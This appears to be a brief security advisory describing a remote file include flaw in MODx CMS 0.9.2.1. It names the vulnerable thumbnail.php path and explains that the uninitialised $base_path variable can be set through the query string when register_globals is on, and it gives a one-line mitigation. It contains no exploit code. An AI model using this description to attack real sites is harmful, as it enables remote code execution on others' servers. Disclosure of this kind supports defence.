MODx CMS 0.9.2.1 (base_path) Remote File Include Vulnerability

MODx CMS manager/media/browser/mcpuk/connectors/php/commands/thumbnail.php does not initialize the $base_path variable before using it to include files, assuming register_globals = on, we can intialize the variable in a query string and include a remote file of our choice.

Mitigation:

Ensure that the $base_path variable is properly initialized before use.
